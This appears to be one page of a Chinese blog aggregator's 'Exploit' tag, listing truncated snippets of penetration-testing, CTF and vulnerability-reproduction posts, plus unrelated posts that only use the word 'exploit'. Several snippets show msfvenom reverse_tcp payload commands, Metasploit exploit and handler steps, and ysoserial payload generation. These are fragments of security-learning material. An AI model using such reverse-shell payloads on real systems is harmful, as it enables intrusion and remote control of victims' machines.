Exploit 第26页

gitlab使用webhook向jenkins发送请求，报错 Requests to the local network are not allowed

webhooks.htmlIfyouhavenon-GitLabwebservicesrunningonyourGitLabserverorwithinitslocalnetwork,thesemaybevulnerabletoexploitationviaWebhooks.WithWebhooks

xukangkang1hao·2020-06-21 14:05

CVE-2020-0796 Windows SMBv3 LPE Exploit POC 分析

作者：SungLin@知道创宇404实验室时间：2020年4月2日原文地址：https://paper.seebug.org/1164/英文版本：https://paper.seebug.org/1165/0x00漏洞背景2020年3月12日微软确认在Windows10最新版本中存在一个影响SMBv3协议的严重漏洞，并分配了CVE编号CVE-2020-0796，该漏洞可能允许攻击者在SMB服务器或

晓得哥·2020-06-21 13:43

CVE-2019-0708-BlueKeep漏洞复现

CVE-2019-0708-BlueKeep漏洞复现环境攻击机：KaliLinuxIP：192.168.0.108靶机：WindowsSever7SP1旗舰版IP：192.168.0.109Exploit

weixin_30731287·2020-06-21 10:44

局部特征与图像检索

ExploitingLocalFeaturesfromDeepNetworksforImageRetrieval阅读笔记摘要这篇⽂章发表在CVPR2015workshop上，是来⾃于马⾥兰⼤学帕克学院JoeYue-HeiNg

maocaisheng·2020-06-21 08:06

CVE-2016-6515攻漏洞复现

实验环境：攻击机和靶机系统版本都是Centosexp和环境参考:https://github.com/opsxcq/exploit-CVE-2016-6515攻击机IP:192.168.10.138靶机

Edm0nd3·2020-06-21 06:37

【Linux_Kali网络渗透测试学习笔记总结（六）】漏洞利用

网络渗透测试（六）：漏洞利用编写漏洞利用程序（exploit），渗透人员需要根据目标环境的实际情况对通过公开渠道获取的exploit程序进行相应调整。

数据库爆破专家·2020-06-21 06:19

SafeSEH Exploit——利用未启用SafeSEH的DLL

实验内容和代码均修改自《0day安全》第二版实验环境操作系统：WindowsXPSP3DEP关闭EXE编译器：VisualStudio2008DLL编译器：VC++6.0dll基址设置/base:"0x11120000"编译选项：禁用优化(/0d)build版本：release版本实验原理结合之前的内容，可以了解到对于未启用SafeSEH的dll中的函数，如果该函数被调用作为异常处理函数，只要不包

Umiade·2020-06-21 03:40

CSAPP实验 03-attack-lab

缓冲区溢出将程序进行重定位，以执行另外现存的程序.问题描述：在phase1中,可执行文件ctarget中有一个test函数，具体代码如下voidtest(){intval;val=getbuf();printf("Noexploit.Getbufreturned0x

毛毛的大胖胖·2020-06-21 02:12

CVE-2012-1823复现

影响版本反弹shell这里我用了Metasploitsearchphp_cgiuseexploit/mu

9ouu·2020-06-21 02:10

php5.4.3的远程代码执行漏洞，提权挺管用

//ExploitTitle:PHP5.4(5.4.3)CodeExecution0day(Win32)//Exploitauthor:0in(MaksymilianMotyl)//Email:0in(

god_7z1·2020-06-21 01:24

Java 1099端口RMI exploit

https://null-byte.wonderhowto.com/how-to/exploit-java-remote-method-invocation-get-root-0187685/https

caiqiiqi·2020-06-21 00:14

kali测试win10 通过msfvenom生成

meterpreter/reverse_tcplhost=自己地址lport=端口号-fexex>XX.exe把***传过去，点开就会往自己开放的ip和端口发送一个tcp链接在kali中msfconsolemsf>useexploit

wx5eeac65735c0c·2020-06-18 11:02

fastjson反序列化漏洞原理及利用

poc及版本我是从github上的参考中直接copy的exp，这个类就是要注入的类importjava.lang.Runtime;importjava.lang.Process;publicclassExploit

sijidou·2020-06-13 18:00

Metasploit Framework（一）

MSF基础模块大致分为Aux辅助模块、Exploits渗透攻击模块、Post后渗透攻击模块、Payloads攻击载荷模块、Encoders编码器模块、Nops空指令模块启动MSF之前，先开启企业级的sql

ch0bits·2020-06-04 19:00

metasploit漏洞利用

1.2专业术语渗透攻击（exploit）测试者利用系统，程序或服务的漏洞进行攻击的一个过程。攻击载荷

贼-猫·2020-05-31 11:00

Kali WEB漏洞扫描工具 Metasploit wmap使用

Metasploit初识：Aux辅助模块Exploits***模块Post后***模块Payloads***载荷模块Npps空指令模块Encoders编码器模块主动******例如sql注入，端口被动*

ly55521·2020-05-30 11:37

kali-matasploit

1、进入msf终端后，使用search功能搜索ms08-067，发现有一个可用模块：>msf>searchms08-0672、使用use命令选定要利用的模块：msf>useexploit/windows

enddark·2020-05-27 16:00

fastjson 反弹shell

准备一台公网服务器cdtestpython-mSimpleHTTPServer8888javacExploit.java里面的ip和端口改成你的importjavax.naming.Context;importjavax.naming.Name

Mysticbinary·2020-04-27 17:00

连接远程的redis 集群报Could not get a resource from the pool异常

Protectedmodeisalayerofsecurityprotection,inordertoavoidthatRedisinstancesleftopenontheinternetareaccessedandexploited

JonathanZhaang·2020-04-16 12:27

渗透SSL3.0后门

http://googleonlinesecurity.blogspot.com/2014/10/this-poodle-bites-exploiting-ssl-30.html渗透SSL3.0后门今天我们公布了

SmalltalkVoice·2020-04-14 04:43

pwn笔记之Modern Binary Exploitation实验lab2

附：gcc-O0-fno-stack-protectorlab2B.c-olab2B编译的时候开启栈保护，即栈不可执行（NX）./lab2C:查看源码，可以发现是一个很简单的堆栈溢出，我们在进行调试的时候可以发现set_me与buf的局部变量地址时连续的，由于在strcpy函数复制的时候没有进行边界分析，导致可以通过给buf赋值的时候，覆盖set_me的值。由于是一个需要设置程序运行参数，所以需要

苏州暮雨·2020-04-13 10:32

Poc编写

Exp(全称:Exploit),又叫漏洞利用程序。比如目标存在一个SQL注入漏

Hell0_C·2020-04-13 04:19

GPOI@Global peace operation initiative

图片发自AppWomenandgirlsarethetargetsofviolencesexualexploitationandabuseinconflictareas.Sotheydevelopauniqueperspectiveontheeffectsofconflict.Buttheyareseverelyunderrepresentedduringefforttodevotedtopeac

蓝鲸茉·2020-04-12 02:06

【备考2018年】同等学力英语词汇每日练习161

1．Hewasbroughttoconsciousnesswhenthedoctorhad＿artificialrespiration.A.employedB.exploitedC.utilizedD.applied2

学苑教育·2020-04-11 21:10

自动化XSS

一、BeEF简介BrowserExploitationFramework(BeEF)BeEF是目前最强大的浏览器开源渗透测试框架，通过XSS漏洞配合JS脚本和Metasploit进行渗透；BeEF是基于

陈超同学·2020-04-11 15:04

Unit4

degreeGreekconcernoneselfwithasfaras…beconcernedleveloffontheleveldooneslevelbesteffortlessinferdeduceprovidedprovisionunchalengedexploitationrationalizationneglectjustificationcurve

楷歌Kale·2020-04-10 00:17

msf-mysql

测试数据库版本1、useauxiliary/scanner/mysql/mysql_version2、setrhostx.x.x.x3、run或者exploit暴力破解密码1、useauxiliary/

李伟鹏_763a·2020-04-09 22:24

jemalloc-exploit

这篇文章是N1CTF的mem题目的一个总结，实际上很早以前就想写了，但是一直拖...我的拖延癌已经没救了...findingbug这个题目的漏洞我当时是没有找到的，在看了其他队伍的wp之后才知道这个题目的漏洞点在哪...实际上这个漏洞是在rust低版本编译器中的一个漏洞，因为在编译的时候没有对ifelse中的unwrap进行处理，所以导致一次unwrap之后还可以在之后函数中继续unwraprea

韦恩老爷·2020-04-09 00:53

kali下CVE-2017-8464利用

参考：https://www.exploit-db.com/exploits/42382https://www.youtube.com/watch?

一点也不想吃辣·2020-04-08 20:51

SHA1/md5 length Extension Attack

使用SHA1orMD5加密=sha1(key|message)=hashHashPumpisaC++basedcommandlinetooltoexploittheHashLengthExtensionAttackwithvarioushashtypessupported

98Future·2020-04-07 16:07

kali：getsploit在线抓取exploit等内容

它允许您在线搜索所有最受欢迎的集合的漏洞利用：Exploit-DB，Metasploit，Packetstorm等。最强大的功能是在您的工作路径中立即开发源代码下载。

一点也不想吃辣·2020-04-06 13:26

error: RPC failed curl 56 LibreSSL SSL_read: SSL_ERROR_SYSCALL

问题现象】更新或安装exploit-database报错如下：lysmacbookair:optlaoyan$sudogitclonehttps://github.com/offensive-security

开心就好2008·2020-04-06 02:02

格式化字符串漏洞利用五、爆破

五、爆破原文：ExploitingFormatStringVulnerabilities作者：[email protected]译者：飞龙日期：2001.9.1版本：v1.2当利用这种漏洞，例如缓冲区溢出或者格式化字符串漏洞时

布客飞龙·2020-04-05 17:30

内网篇

msf1.useexploit/windows/smb/ms17_010使用一个模块2.showoptions查看配置3.showpayloads查看所有payload4.setpayloadwindows

F_6e2e·2020-04-05 10:30

MSF之Web渗透

kali:~#msfvenom-pphp/meterpreter/reverse_tcpLHOST=192.168.80.163LPORT=3333-fraw-oa.php生成a.phpmsf>useexploit

Instu·2020-04-04 14:33

ysoserial-C3P0 分析

环境准备：pom:com.mchangec3p00.9.5.2payload生成：java-jarysoserial.jarC3P0"http://127.0.0.1:8989/:Exploit">test.ser

tr1ple·2020-04-02 00:00

【原创】“爱与自由”的逻辑

LoveandfreedomAbstract:****Therelationshipbetweenpaternal****love****towardstheirchildrenandthepotentialexploitationoffreedomonbelovedones

不忘思考·2020-04-01 14:49

CV-MTCNN

2.创新点 proposeadeepcascadedmulti-taskframeworkwhichexploitstheinherentcorrectionbetweenthemtoboostuptheirperformance

LuckPsyduck·2020-04-01 09:00

kali破解EFSwindows服务器

v=sYnYLU8mywkhttps://www.exploit-db.com/exploits/39008/http://www.sharing-file.com/msfconsolesearcheasyfilesharinguseexploit

一点也不想吃辣·2020-03-30 07:07

POST模块、后门

msfexploit(psexec)>useexploit/multi/handlermsfexploit(handler)>setexitonsessionfalse运行这条命令后，4444端口会一直处于侦听状态

Instu·2020-03-29 04:53

Aspect Extraction for Opinion Mining with a Deep Convolutional Neural Network

PhDCandidate,NTUAspectExtractionbasedonfrequentwords(occurrencesandco-ocurrencesofnounandnounphrases)byexploitingopinionandtargetrelationsbasedontopicmodellingbasedonsupervisedlearning

Shuailong·2020-03-28 21:17

《佛系复习法10》

③anencouragingsceneforworldfishing.世界捕鱼业是鼓舞人心的④Itisapparentthatadisastrouschangehasoccurred.显而易见，灾难性的变化已经发生⑤over-exploitationofmarineresources

傻姑娘愿你好好的·2020-03-28 04:56

MSF查找提权exp

0x01：介绍在拿到一个反弹shell后，下一步可以用metaspolit的内置模块LocalExploitSuggesterLocal-exploit-suggester的功能就如它的名字一样，当我们用它来探测某一个系统时

Lushun·2020-03-27 21:00

Mac OS X x64 环境下覆盖objective-c类结构并通过objc_msgSend获得RIP执行shellcode

authorvvun91e0n0x00前言阅读学习国外nemo大牛《ModernObjective-CExploitationTechniques》文章的内容，就想在最新的OSX版本上调试出作者给出的代码

crean·2020-03-25 12:47

SploitFun Linux x86 Exploit 开发系列教程

SploitFunLinuxx86Exploit开发系列教程原文：Linux(x86)ExploitDevelopmentSeries在线阅读PDF格式EPUB格式MOBI格式Github译者章节译者典型的基于堆栈的缓冲区溢出

布客飞龙·2020-03-25 05:02

玩转动态符号执行

动态符号执行（Dynamicsymbolicexecution，DSE）是一种目前较流行的，强大的分析方法，它通常用在下面几种情况中，如：代码覆盖率生成输入和测试用例生成Exploit直接fuzzing

看雪学院·2020-03-25 03:55

有关消费者洞察

它们是“relevant&unexploited”它必须有明显的相关性（relevant），才能让许多人说“感同身受”。它必须需无人触及过（unexploited），才能让消费者说“那就是我的感觉”！

吴自然·2020-03-24 23:26

Msf渗透安卓客户端

meterpreter/reverse_tcpLHOST=192.168.1.192LPORT=5555R>/root/test.apk'''root@kali:~#msfconsolemsf>useexploit

红色扛把子·2020-03-24 21:53

干货：安全资讯RSS

Exploit-DBUpdateshttps://www.exploit-db.com/rss.xmlPaperhttp://paper.seebug.org/rss/Sec-News安全文摘http:

是Jonathan·2020-03-24 04:11

metasploit 学习与使用

使用输入help查看showoptions显示他有哪些选项showpayloads查看库showexploits就看以看到不同已知漏洞的利用程序会显示exploit名称等级（rank）描述exploit

a十二_4765·2020-03-23 08:05

推荐频道

Exploit